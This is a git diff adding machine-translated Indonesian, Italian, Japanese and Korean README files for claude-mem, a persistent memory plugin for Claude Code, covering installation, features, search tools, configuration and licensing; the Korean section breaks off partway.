Cari observasi dan dapatkan konteks timeline di sekitar kecocokan terbaik +10. **API Help** - Dapatkan dokumentasi API pencarian + +**Contoh Query Bahasa Alami:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +Lihat [Panduan Alat Pencarian](https://docs.claude-mem.ai/usage/search-tools) untuk contoh detail. + +--- + +## Fitur Beta + +Claude-Mem menawarkan **beta channel** dengan fitur eksperimental seperti **Endless Mode** (arsitektur memori biomimetik untuk sesi yang diperpanjang). Beralih antara versi stabil dan beta dari web viewer UI di http://localhost:37777 → Settings. + +Lihat **[Dokumentasi Fitur Beta](https://docs.claude-mem.ai/beta-features)** untuk detail tentang Endless Mode dan cara mencobanya. + +--- + +## Persyaratan Sistem + +- **Node.js**: 18.0.0 atau lebih tinggi +- **Claude Code**: Versi terbaru dengan dukungan plugin +- **Bun**: JavaScript runtime dan process manager (otomatis diinstal jika tidak ada) +- **uv**: Python package manager untuk pencarian vektor (otomatis diinstal jika tidak ada) +- **SQLite 3**: Untuk penyimpanan persisten (terbundel) + +--- + +## Konfigurasi + +Pengaturan dikelola di `~/.claude-mem/settings.json` (otomatis dibuat dengan default saat pertama kali dijalankan). Konfigurasi model AI, port worker, direktori data, level log, dan pengaturan injeksi konteks. + +Lihat **[Panduan Konfigurasi](https://docs.claude-mem.ai/configuration)** untuk semua pengaturan dan contoh yang tersedia. + +--- + +## Pengembangan + +Lihat **[Panduan Pengembangan](https://docs.claude-mem.ai/development)** untuk instruksi build, testing, dan alur kerja kontribusi. + +--- + +## Pemecahan Masalah + +Jika mengalami masalah, jelaskan masalah ke Claude dan troubleshoot skill akan secara otomatis mendiagnosis dan memberikan perbaikan. + +Lihat **[Panduan Pemecahan Masalah](https://docs.claude-mem.ai/troubleshooting)** untuk masalah umum dan solusi. + +--- + +## Laporan Bug + +Buat laporan bug yang komprehensif dengan generator otomatis: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Kontribusi + +Kontribusi sangat dipersilakan! Silakan: + +1. Fork repositori +2. Buat branch fitur +3. Buat perubahan Anda dengan tes +4. Perbarui dokumentasi +5. Kirim Pull Request + +Lihat [Panduan Pengembangan](https://docs.claude-mem.ai/development) untuk alur kerja kontribusi. + +--- + +## Lisensi + +Proyek ini dilisensikan di bawah **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). All rights reserved. + +Lihat file [LICENSE](LICENSE) untuk detail lengkap. + +**Apa Artinya:** + +- Anda dapat menggunakan, memodifikasi, dan mendistribusikan perangkat lunak ini dengan bebas +- Jika Anda memodifikasi dan men-deploy di server jaringan, Anda harus membuat kode sumber Anda tersedia +- Karya turunan juga harus dilisensikan di bawah AGPL-3.0 +- TIDAK ADA JAMINAN untuk perangkat lunak ini + +**Catatan tentang Ragtime**: Direktori `ragtime/` dilisensikan secara terpisah di bawah **PolyForm Noncommercial License 1.0.0**. Lihat [ragtime/LICENSE](ragtime/LICENSE) untuk detail. + +--- + +## Dukungan + +- **Dokumentasi**: [docs/](docs/) +- **Issues**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repositori**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Penulis**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Built with Claude Agent SDK** | **Powered by Claude Code** | **Made with TypeScript** + +--- \ No newline at end of file diff --git a/docs/i18n/README.it.md b/docs/i18n/README.it.md new file mode 100644 index 00000000..747a66b5 --- /dev/null +++ b/docs/i18n/README.it.md @@ -0,0 +1,304 @@ +🌐 Questa è una traduzione automatica. Le correzioni della comunità sono benvenute! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Sistema di compressione della memoria persistente creato per Claude Code.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ Avvio Rapido • + Come Funziona • + Strumenti di Ricerca • + Documentazione • + Configurazione • + Risoluzione dei Problemi • + Licenza +

+ +

+ Claude-Mem preserva il contesto in modo fluido tra le sessioni catturando automaticamente le osservazioni sull'utilizzo degli strumenti, generando riepiloghi semantici e rendendoli disponibili per le sessioni future. Questo consente a Claude di mantenere la continuità della conoscenza sui progetti anche dopo la fine o la riconnessione delle sessioni. +

+ +--- + +## Avvio Rapido + +Avvia una nuova sessione di Claude Code nel terminale e inserisci i seguenti comandi: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Riavvia Claude Code. Il contesto delle sessioni precedenti apparirà automaticamente nelle nuove sessioni. + +**Caratteristiche Principali:** + +- 🧠 **Memoria Persistente** - Il contesto sopravvive tra le sessioni +- 📊 **Divulgazione Progressiva** - Recupero della memoria a strati con visibilità del costo in token +- 🔍 **Ricerca Basata su Skill** - Interroga la cronologia del tuo progetto con la skill mem-search +- 🖥️ **Interfaccia Web Viewer** - Stream della memoria in tempo reale su http://localhost:37777 +- 💻 **Skill per Claude Desktop** - Cerca nella memoria dalle conversazioni di Claude Desktop +- 🔒 **Controllo della Privacy** - Usa i tag `` per escludere contenuti sensibili dall'archiviazione +- ⚙️ **Configurazione del Contesto** - Controllo granulare su quale contesto viene iniettato +- 🤖 **Funzionamento Automatico** - Nessun intervento manuale richiesto +- 🔗 **Citazioni** - Fai riferimento a osservazioni passate con ID (accedi tramite http://localhost:37777/api/observation/{id} o visualizza tutto nel web viewer su http://localhost:37777) +- 🧪 **Canale Beta** - Prova funzionalità sperimentali come Endless Mode tramite il cambio di versione + +--- + +## Documentazione + +📚 **[Visualizza Documentazione Completa](docs/)** - Sfoglia i documenti markdown su GitHub + +### Per Iniziare + +- **[Guida all'Installazione](https://docs.claude-mem.ai/installation)** - Avvio rapido e installazione avanzata +- **[Guida all'Uso](https://docs.claude-mem.ai/usage/getting-started)** - Come funziona automaticamente Claude-Mem +- **[Strumenti di Ricerca](https://docs.claude-mem.ai/usage/search-tools)** - Interroga la cronologia del progetto con linguaggio naturale +- **[Funzionalità Beta](https://docs.claude-mem.ai/beta-features)** - Prova funzionalità sperimentali come Endless Mode + +### Best Practice + +- **[Context Engineering](https://docs.claude-mem.ai/context-engineering)** - Principi di ottimizzazione del contesto per agenti AI +- **[Progressive Disclosure](https://docs.claude-mem.ai/progressive-disclosure)** - Filosofia alla base della strategia di priming del contesto di Claude-Mem + +### Architettura + +- **[Panoramica](https://docs.claude-mem.ai/architecture/overview)** - Componenti del sistema e flusso dei dati +- **[Evoluzione dell'Architettura](https://docs.claude-mem.ai/architecture-evolution)** - Il percorso dalla v3 alla v5 +- **[Architettura degli Hook](https://docs.claude-mem.ai/hooks-architecture)** - Come Claude-Mem utilizza gli hook del ciclo di vita +- **[Riferimento Hook](https://docs.claude-mem.ai/architecture/hooks)** - Spiegazione dei 7 script hook +- **[Servizio Worker](https://docs.claude-mem.ai/architecture/worker-service)** - API HTTP e gestione Bun +- **[Database](https://docs.claude-mem.ai/architecture/database)** - Schema SQLite e ricerca FTS5 +- **[Architettura di Ricerca](https://docs.claude-mem.ai/architecture/search-architecture)** - Ricerca ibrida con database vettoriale Chroma + +### Configurazione e Sviluppo + +- **[Configurazione](https://docs.claude-mem.ai/configuration)** - Variabili d'ambiente e impostazioni +- **[Sviluppo](https://docs.claude-mem.ai/development)** - Build, test e flusso di contribuzione +- **[Risoluzione dei Problemi](https://docs.claude-mem.ai/troubleshooting)** - Problemi comuni e soluzioni + +--- + +## Come Funziona + +**Componenti Principali:** + +1. **5 Hook del Ciclo di Vita** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6 script hook) +2. **Installazione Intelligente** - Controllo delle dipendenze in cache (script pre-hook, non un hook del ciclo di vita) +3. **Servizio Worker** - API HTTP sulla porta 37777 con interfaccia web viewer e 10 endpoint di ricerca, gestita da Bun +4. **Database SQLite** - Memorizza sessioni, osservazioni, riepiloghi +5. **Skill mem-search** - Query in linguaggio naturale con divulgazione progressiva +6. **Database Vettoriale Chroma** - Ricerca ibrida semantica + keyword per recupero intelligente del contesto + +Vedi [Panoramica dell'Architettura](https://docs.claude-mem.ai/architecture/overview) per i dettagli. + +--- + +## Skill mem-search + +Claude-Mem fornisce una ricerca intelligente tramite la skill mem-search che si attiva automaticamente quando chiedi del lavoro passato: + +**Come Funziona:** +- Chiedi semplicemente in modo naturale: *"Cosa abbiamo fatto nell'ultima sessione?"* o *"Abbiamo già risolto questo bug prima?"* +- Claude invoca automaticamente la skill mem-search per trovare il contesto rilevante + +**Operazioni di Ricerca Disponibili:** + +1. **Search Observations** - Ricerca full-text nelle osservazioni +2. **Search Sessions** - Ricerca full-text nei riepiloghi delle sessioni +3. **Search Prompts** - Ricerca nelle richieste utente grezze +4. **By Concept** - Trova per tag di concetto (discovery, problem-solution, pattern, ecc.) +5. **By File** - Trova osservazioni che fanno riferimento a file specifici +6. **By Type** - Trova per tipo (decision, bugfix, feature, refactor, discovery, change) +7. **Recent Context** - Ottieni il contesto recente della sessione per un progetto +8. **Timeline** - Ottieni la timeline unificata del contesto attorno a un punto specifico nel tempo +9. **Timeline by Query** - Cerca osservazioni e ottieni il contesto della timeline attorno alla corrispondenza migliore +10. **API Help** - Ottieni la documentazione dell'API di ricerca + +**Esempi di Query in Linguaggio Naturale:** + +``` +"Quali bug abbiamo risolto nell'ultima sessione?" +"Come abbiamo implementato l'autenticazione?" +"Quali modifiche sono state apportate a worker-service.ts?" +"Mostrami il lavoro recente su questo progetto" +"Cosa stava succedendo quando abbiamo aggiunto l'interfaccia del viewer?" +``` + +Vedi [Guida agli Strumenti di Ricerca](https://docs.claude-mem.ai/usage/search-tools) per esempi dettagliati. + +--- + +## Funzionalità Beta + +Claude-Mem offre un **canale beta** con funzionalità sperimentali come **Endless Mode** (architettura di memoria biomimetica per sessioni estese). Passa dalla versione stabile a quella beta dall'interfaccia web viewer su http://localhost:37777 → Settings. + +Vedi **[Documentazione delle Funzionalità Beta](https://docs.claude-mem.ai/beta-features)** per dettagli su Endless Mode e come provarlo. + +--- + +## Requisiti di Sistema + +- **Node.js**: 18.0.0 o superiore +- **Claude Code**: Ultima versione con supporto plugin +- **Bun**: Runtime JavaScript e process manager (installato automaticamente se mancante) +- **uv**: Gestore di pacchetti Python per la ricerca vettoriale (installato automaticamente se mancante) +- **SQLite 3**: Per l'archiviazione persistente (incluso) + +--- + +## Configurazione + +Le impostazioni sono gestite in `~/.claude-mem/settings.json` (creato automaticamente con valori predefiniti alla prima esecuzione). Configura il modello AI, la porta del worker, la directory dei dati, il livello di log e le impostazioni di iniezione del contesto. + +Vedi la **[Guida alla Configurazione](https://docs.claude-mem.ai/configuration)** per tutte le impostazioni disponibili ed esempi. + +--- + +## Sviluppo + +Vedi la **[Guida allo Sviluppo](https://docs.claude-mem.ai/development)** per le istruzioni di build, test e flusso di contribuzione. + +--- + +## Risoluzione dei Problemi + +Se riscontri problemi, descrivi il problema a Claude e la skill troubleshoot diagnosticherà automaticamente e fornirà correzioni. + +Vedi la **[Guida alla Risoluzione dei Problemi](https://docs.claude-mem.ai/troubleshooting)** per problemi comuni e soluzioni. + +--- + +## Segnalazione Bug + +Crea report di bug completi con il generatore automatizzato: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## Contribuire + +I contributi sono benvenuti! Per favore: + +1. Fai il fork del repository +2. Crea un branch per la funzionalità +3. Apporta le tue modifiche con i test +4. Aggiorna la documentazione +5. Invia una Pull Request + +Vedi [Guida allo Sviluppo](https://docs.claude-mem.ai/development) per il flusso di contribuzione. + +--- + +## Licenza + +Questo progetto è rilasciato sotto la **GNU Affero General Public License v3.0** (AGPL-3.0). + +Copyright (C) 2025 Alex Newman (@thedotmack). Tutti i diritti riservati. + +Vedi il file [LICENSE](LICENSE) per i dettagli completi. + +**Cosa Significa:** + +- Puoi usare, modificare e distribuire questo software liberamente +- Se modifichi e distribuisci su un server di rete, devi rendere disponibile il tuo codice sorgente +- Le opere derivate devono anche essere rilasciate sotto AGPL-3.0 +- NON c'è GARANZIA per questo software + +**Nota su Ragtime**: La directory `ragtime/` è rilasciata separatamente sotto la **PolyForm Noncommercial License 1.0.0**. Vedi [ragtime/LICENSE](ragtime/LICENSE) per i dettagli. + +--- + +## Supporto + +- **Documentazione**: [docs/](docs/) +- **Problemi**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **Repository**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **Autore**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Creato con Claude Agent SDK** | **Alimentato da Claude Code** | **Realizzato con TypeScript** + +--- \ No newline at end of file diff --git a/docs/i18n/README.ja.md b/docs/i18n/README.ja.md new file mode 100644 index 00000000..8b64bc27 --- /dev/null +++ b/docs/i18n/README.ja.md @@ -0,0 +1,302 @@ +🌐 これは自動翻訳です。コミュニティによる修正を歓迎します! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Claude Code向けに構築された永続的メモリ圧縮システム

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ クイックスタート • + 仕組み • + 検索ツール • + ドキュメント • + 設定 • + トラブルシューティング • + ライセンス +

+ +

+ Claude-Memは、ツール使用の観察を自動的にキャプチャし、セマンティックサマリーを生成して将来のセッションで利用可能にすることで、セッション間のコンテキストをシームレスに保持します。これにより、Claudeはセッションが終了または再接続された後でも、プロジェクトに関する知識の連続性を維持できます。 +

+ +--- + +## クイックスタート + +ターミナルで新しいClaude Codeセッションを開始し、次のコマンドを入力します: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Claude Codeを再起動します。以前のセッションからのコンテキストが新しいセッションに自動的に表示されます。 + +**主な機能:** + +- 🧠 **永続的メモリ** - セッション間でコンテキストが保持される +- 📊 **プログレッシブディスクロージャー** - トークンコストの可視性を持つ階層的メモリ取得 +- 🔍 **スキルベース検索** - mem-searchスキルでプロジェクト履歴をクエリ +- 🖥️ **Webビューア UI** - http://localhost:37777 でリアルタイムメモリストリームを表示 +- 💻 **Claude Desktopスキル** - Claude Desktopの会話からメモリを検索 +- 🔒 **プライバシー制御** - ``タグを使用して機密コンテンツをストレージから除外 +- ⚙️ **コンテキスト設定** - どのコンテキストが注入されるかを細かく制御 +- 🤖 **自動動作** - 手動介入不要 +- 🔗 **引用** - IDで過去の観察を参照(http://localhost:37777/api/observation/{id} でアクセス、またはhttp://localhost:37777 のWebビューアですべて表示) +- 🧪 **ベータチャネル** - バージョン切り替えでEndless Modeなどの実験的機能を試す + +--- + +## ドキュメント + +📚 **[完全なドキュメントを見る](docs/)** - GitHubでマークダウンドキュメントを閲覧 + +### はじめに + +- **[インストールガイド](https://docs.claude-mem.ai/installation)** - クイックスタートと高度なインストール +- **[使用ガイド](https://docs.claude-mem.ai/usage/getting-started)** - Claude-Memが自動的に動作する仕組み +- **[検索ツール](https://docs.claude-mem.ai/usage/search-tools)** - 自然言語でプロジェクト履歴をクエリ +- **[ベータ機能](https://docs.claude-mem.ai/beta-features)** - Endless Modeなどの実験的機能を試す + +### ベストプラクティス + +- **[コンテキストエンジニアリング](https://docs.claude-mem.ai/context-engineering)** - AIエージェントのコンテキスト最適化原則 +- **[プログレッシブディスクロージャー](https://docs.claude-mem.ai/progressive-disclosure)** - Claude-Memのコンテキストプライミング戦略の背後にある哲学 + +### アーキテクチャ + +- **[概要](https://docs.claude-mem.ai/architecture/overview)** - システムコンポーネントとデータフロー +- **[アーキテクチャの進化](https://docs.claude-mem.ai/architecture-evolution)** - v3からv5への道のり +- **[フックアーキテクチャ](https://docs.claude-mem.ai/hooks-architecture)** - Claude-Memがライフサイクルフックを使用する方法 +- **[フックリファレンス](https://docs.claude-mem.ai/architecture/hooks)** - 7つのフックスクリプトの説明 +- **[ワーカーサービス](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP APIとBun管理 +- **[データベース](https://docs.claude-mem.ai/architecture/database)** - SQLiteスキーマとFTS5検索 +- **[検索アーキテクチャ](https://docs.claude-mem.ai/architecture/search-architecture)** - Chromaベクトルデータベースを使用したハイブリッド検索 + +### 設定と開発 + +- **[設定](https://docs.claude-mem.ai/configuration)** - 環境変数と設定 +- **[開発](https://docs.claude-mem.ai/development)** - ビルド、テスト、コントリビューション +- **[トラブルシューティング](https://docs.claude-mem.ai/troubleshooting)** - よくある問題と解決策 + +--- + +## 仕組み + +**コアコンポーネント:** + +1. **5つのライフサイクルフック** - SessionStart、UserPromptSubmit、PostToolUse、Stop、SessionEnd(6つのフックスクリプト) +2. **スマートインストール** - キャッシュされた依存関係チェッカー(プレフックスクリプト、ライフサイクルフックではない) +3. **ワーカーサービス** - ポート37777上のHTTP API、WebビューアUIと10の検索エンドポイント、Bunで管理 +4. **SQLiteデータベース** - セッション、観察、サマリーを保存 +5. **mem-searchスキル** - プログレッシブディスクロージャーを備えた自然言語クエリ +6. **Chromaベクトルデータベース** - インテリジェントなコンテキスト取得のためのハイブリッドセマンティック+キーワード検索 + +詳細は[アーキテクチャ概要](https://docs.claude-mem.ai/architecture/overview)を参照してください。 + +--- + +## mem-searchスキル + +Claude-Memは、過去の作業について尋ねると自動的に呼び出されるmem-searchスキルを通じてインテリジェント検索を提供します: + +**仕組み:** +- 自然に質問するだけ: *「前回のセッションで何をしましたか?」* または *「以前このバグを修正しましたか?」* +- Claudeは自動的にmem-searchスキルを呼び出して関連するコンテキストを検索します + +**利用可能な検索操作:** + +1. **観察の検索** - 観察全体にわたる全文検索 +2. **セッションの検索** - セッションサマリー全体にわたる全文検索 +3. **プロンプトの検索** - 生のユーザーリクエストを検索 +4. **コンセプト別** - コンセプトタグで検索(discovery、problem-solution、patternなど) +5. **ファイル別** - 特定のファイルを参照している観察を検索 +6. **タイプ別** - タイプ別に検索(decision、bugfix、feature、refactor、discovery、change) +7. **最近のコンテキスト** - プロジェクトの最近のセッションコンテキストを取得 +8. **タイムライン** - 特定の時点周辺のコンテキストの統一タイムラインを取得 +9. **クエリ別タイムライン** - 観察を検索し、最適な一致周辺のタイムラインコンテキストを取得 +10. **APIヘルプ** - 検索APIドキュメントを取得 + +**自然言語クエリの例:** + +``` +"What bugs did we fix last session?" +"How did we implement authentication?" +"What changes were made to worker-service.ts?" +"Show me recent work on this project" +"What was happening when we added the viewer UI?" +``` + +詳細な例は[検索ツールガイド](https://docs.claude-mem.ai/usage/search-tools)を参照してください。 + +--- + +## ベータ機能 + +Claude-Memは、**Endless Mode**(拡張セッション用の生体模倣メモリアーキテクチャ)などの実験的機能を備えた**ベータチャネル**を提供します。http://localhost:37777 → SettingsのWebビューアUIから安定版とベータ版を切り替えます。 + +Endless Modeと試用方法の詳細については、**[ベータ機能ドキュメント](https://docs.claude-mem.ai/beta-features)**を参照してください。 + +--- + +## システム要件 + +- **Node.js**: 18.0.0以上 +- **Claude Code**: プラグインサポートを備えた最新バージョン +- **Bun**: JavaScriptランタイムおよびプロセスマネージャー(不足している場合は自動インストール) +- **uv**: ベクトル検索用のPythonパッケージマネージャー(不足している場合は自動インストール) +- **SQLite 3**: 永続ストレージ用(バンドル済み) + +--- + +## 設定 + +設定は`~/.claude-mem/settings.json`で管理されます(初回実行時にデフォルト値で自動作成)。AIモデル、ワーカーポート、データディレクトリ、ログレベル、コンテキスト注入設定を構成します。 + +利用可能なすべての設定と例については、**[設定ガイド](https://docs.claude-mem.ai/configuration)**を参照してください。 + +--- + +## 開発 + +ビルド手順、テスト、コントリビューションワークフローについては、**[開発ガイド](https://docs.claude-mem.ai/development)**を参照してください。 + +--- + +## トラブルシューティング + +問題が発生した場合は、Claudeに問題を説明すると、troubleshootスキルが自動的に診断して修正を提供します。 + +よくある問題と解決策については、**[トラブルシューティングガイド](https://docs.claude-mem.ai/troubleshooting)**を参照してください。 + +--- + +## バグレポート + +自動ジェネレーターで包括的なバグレポートを作成します: + +```bash +cd ~/.claude/plugins/marketplaces/thedotmack +npm run bug-report +``` + +## コントリビューション + +コントリビューションを歓迎します! 以下の手順に従ってください: + +1. リポジトリをフォーク +2. 機能ブランチを作成 +3. テストと共に変更を加える +4. ドキュメントを更新 +5. プルリクエストを提出 + +コントリビューションワークフローについては[開発ガイド](https://docs.claude-mem.ai/development)を参照してください。 + +--- + +## ライセンス + +このプロジェクトは**GNU Affero General Public License v3.0**(AGPL-3.0)の下でライセンスされています。 + +Copyright (C) 2025 Alex Newman (@thedotmack). All rights reserved. + +詳細は[LICENSE](LICENSE)ファイルを参照してください。 + +**これが意味すること:** + +- このソフトウェアを自由に使用、変更、配布できます +- ネットワークサーバーで変更して展開する場合、ソースコードを利用可能にする必要があります +- 派生作品もAGPL-3.0の下でライセンスする必要があります +- このソフトウェアには保証がありません + +**Ragtimeに関する注意**: `ragtime/`ディレクトリは**PolyForm Noncommercial License 1.0.0**の下で個別にライセンスされています。詳細は[ragtime/LICENSE](ragtime/LICENSE)を参照してください。 + +--- + +## サポート + +- **ドキュメント**: [docs/](docs/) +- **Issues**: [GitHub Issues](https://github.com/thedotmack/claude-mem/issues) +- **リポジトリ**: [github.com/thedotmack/claude-mem](https://github.com/thedotmack/claude-mem) +- **作者**: Alex Newman ([@thedotmack](https://github.com/thedotmack)) + +--- + +**Claude Agent SDKで構築** | **Claude Codeで動作** | **TypeScriptで作成** \ No newline at end of file diff --git a/docs/i18n/README.ko.md b/docs/i18n/README.ko.md new file mode 100644 index 00000000..371f7a50 --- /dev/null +++ b/docs/i18n/README.ko.md @@ -0,0 +1,304 @@ +🌐 이것은 자동 번역입니다. 커뮤니티의 수정 제안을 환영합니다! + +--- +

+
+ + + + + Claude-Mem + + +
+

+ +

+ 🇨🇳 中文 • + 🇯🇵 日本語 • + 🇧🇷 Português • + 🇰🇷 한국어 • + 🇪🇸 Español • + 🇩🇪 Deutsch • + 🇫🇷 Français + 🇮🇱 עברית • + 🇸🇦 العربية • + 🇷🇺 Русский • + 🇵🇱 Polski • + 🇨🇿 Čeština • + 🇳🇱 Nederlands • + 🇹🇷 Türkçe • + 🇺🇦 Українська • + 🇻🇳 Tiếng Việt • + 🇮🇩 Indonesia • + 🇹🇭 ไทย • + 🇮🇳 हिन्दी • + 🇧🇩 বাংলা • + 🇷🇴 Română • + 🇸🇪 Svenska • + 🇮🇹 Italiano • + 🇬🇷 Ελληνικά • + 🇭🇺 Magyar • + 🇫🇮 Suomi • + 🇩🇰 Dansk • + 🇳🇴 Norsk +

+ +

Claude Code를 위해 구축된 지속적인 메모리 압축 시스템.

+ +

+ + License + + + Version + + + Node + + + Mentioned in Awesome Claude Code + +

+ +

+ + + + + thedotmack/claude-mem | Trendshift + + +

+ +
+ +

+ + + Claude-Mem Preview + + +

+ +

+ 빠른 시작 • + 작동 방식 • + 검색 도구 • + 문서 • + 설정 • + 문제 해결 • + 라이선스 +

+ +

+ Claude-Mem은 도구 사용 관찰을 자동으로 캡처하고 의미론적 요약을 생성하여 향후 세션에서 사용할 수 있도록 함으로써 세션 간 컨텍스트를 원활하게 보존합니다. 이를 통해 Claude는 세션이 종료되거나 재연결된 후에도 프로젝트에 대한 지식의 연속성을 유지할 수 있습니다. +

+ +--- + +## 빠른 시작 + +터미널에서 새 Claude Code 세션을 시작하고 다음 명령을 입력하세요: + +``` +> /plugin marketplace add thedotmack/claude-mem + +> /plugin install claude-mem +``` + +Claude Code를 재시작하세요. 이전 세션의 컨텍스트가 자동으로 새 세션에 나타납니다. + +**주요 기능:** + +- 🧠 **지속적인 메모리** - 세션 간 컨텍스트 유지 +- 📊 **점진적 공개** - 토큰 비용 가시성을 갖춘 계층화된 메모리 검색 +- 🔍 **스킬 기반 검색** - mem-search 스킬로 프로젝트 기록 쿼리 +- 🖥️ **웹 뷰어 UI** - http://localhost:37777에서 실시간 메모리 스트림 확인 +- 💻 **Claude Desktop 스킬** - Claude Desktop 대화에서 메모리 검색 +- 🔒 **개인정보 제어** - `` 태그를 사용하여 민감한 콘텐츠를 저장소에서 제외 +- ⚙️ **컨텍스트 설정** - 주입되는 컨텍스트에 대한 세밀한 제어 +- 🤖 **자동 작동** - 수동 개입 불필요 +- 🔗 **인용** - ID로 과거 관찰 참조 (http://localhost:37777/api/observation/{id}를 통해 액세스하거나 http://localhost:37777의 웹 뷰어에서 모두 보기) +- 🧪 **베타 채널** - 버전 전환을 통해 Endless Mode와 같은 실험적 기능 사용 + +--- + +## 문서 + +📚 **[전체 문서 보기](docs/)** - GitHub에서 마크다운 문서 탐색 + +### 시작하기 + +- **[설치 가이드](https://docs.claude-mem.ai/installation)** - 빠른 시작 및 고급 설치 +- **[사용 가이드](https://docs.claude-mem.ai/usage/getting-started)** - Claude-Mem이 자동으로 작동하는 방법 +- **[검색 도구](https://docs.claude-mem.ai/usage/search-tools)** - 자연어로 프로젝트 기록 쿼리 +- **[베타 기능](https://docs.claude-mem.ai/beta-features)** - Endless Mode와 같은 실험적 기능 시도 + +### 모범 사례 + +- **[컨텍스트 엔지니어링](https://docs.claude-mem.ai/context-engineering)** - AI 에이전트 컨텍스트 최적화 원칙 +- **[점진적 공개](https://docs.claude-mem.ai/progressive-disclosure)** - Claude-Mem의 컨텍스트 프라이밍 전략의 철학 + +### 아키텍처 + +- **[개요](https://docs.claude-mem.ai/architecture/overview)** - 시스템 구성 요소 및 데이터 흐름 +- **[아키텍처 진화](https://docs.claude-mem.ai/architecture-evolution)** - v3에서 v5로의 여정 +- **[후크 아키텍처](https://docs.claude-mem.ai/hooks-architecture)** - Claude-Mem이 라이프사이클 후크를 사용하는 방법 +- **[후크 참조](https://docs.claude-mem.ai/architecture/hooks)** - 7개 후크 스크립트 설명 +- **[워커 서비스](https://docs.claude-mem.ai/architecture/worker-service)** - HTTP API 및 Bun 관리 +- **[데이터베이스](https://docs.claude-mem.ai/architecture/database)** - SQLite 스키마 및 FTS5 검색 +- **[검색 아키텍처](https://docs.claude-mem.ai/architecture/search-architecture)** - Chroma 벡터 데이터베이스를 활용한 하이브리드 검색 + +### 설정 및 개발 + +- **[설정](https://docs.claude-mem.ai/configuration)** - 환경 변수 및 설정 +- **[개발](https://docs.claude-mem.ai/development)** - 빌드, 테스트, 기여 +- **[문제 해결](https://docs.claude-mem.ai/troubleshooting)** - 일반적인 문제 및 해결 방법 + +--- + +## 작동 방식 + +**핵심 구성 요소:** + +1. **5개 라이프사이클 후크** - SessionStart, UserPromptSubmit, PostToolUse, Stop, SessionEnd (6개 후크 스크립트) +2. **스마트 설치** - 캐시된 종속성 검사기 (사전 후크 스크립트, 라이프사이클 후크 아님) +3. **워커 서비스** - 웹 뷰어 UI와 10개 검색 엔드포인트를 갖춘 포트 37777의 HTTP API, Bun으로 관리 +4. **SQLite 데이터베이스** - 세션, 관찰, 요약 저장 +5. **mem-search 스킬** - 점진적 공개를 통한 자연어 쿼리 +6. **Chroma 벡터 데이터베이스** - 지능형 컨텍스트 검색을 위한 하이브리드 의미론적 + 키워드 검색 + +자세한 내용은 [아키텍처 개요](https://docs.claude-mem.ai/architecture/overview)를 참조하세요. + +--- + +## mem-search 스킬 + +Claude-Mem은 과거 작업에 대해 질문할 때 자동으로 호출되는 mem-search 스킬을 통해 지능형 검색을 제공합니다: + +**작동 방식:** +- 자연스럽게 질문하세요: *"지난 세션에서 무엇을 했나요?"* 또는 *"이 버그를 이전에 수정했나요?"* +- Claude가 관련 컨텍스트를 찾기 위해 mem-search 스킬을 자동으로 호출합니다 + +**사용 가능한 검색 작업:** + +1. **관찰 검색** - 관찰에 대한 전체 텍스트 검색 +2. **세션 검색** - 세션 요약에 대한 전체 텍스트 검색 +3. **프롬프트 검색** - 원시 사용자 요청 검색 +4. **개념별** - 개념 태그로 찾기 (discovery, problem-solution, pattern 등) +5. **파일별** - 특정 파일을 참조하는 관찰 찾기 +6. **유형별** - 유형별로 찾기 (decision, bugfix, feature, refactor, discovery, change) +7. **최근 컨텍스트** - 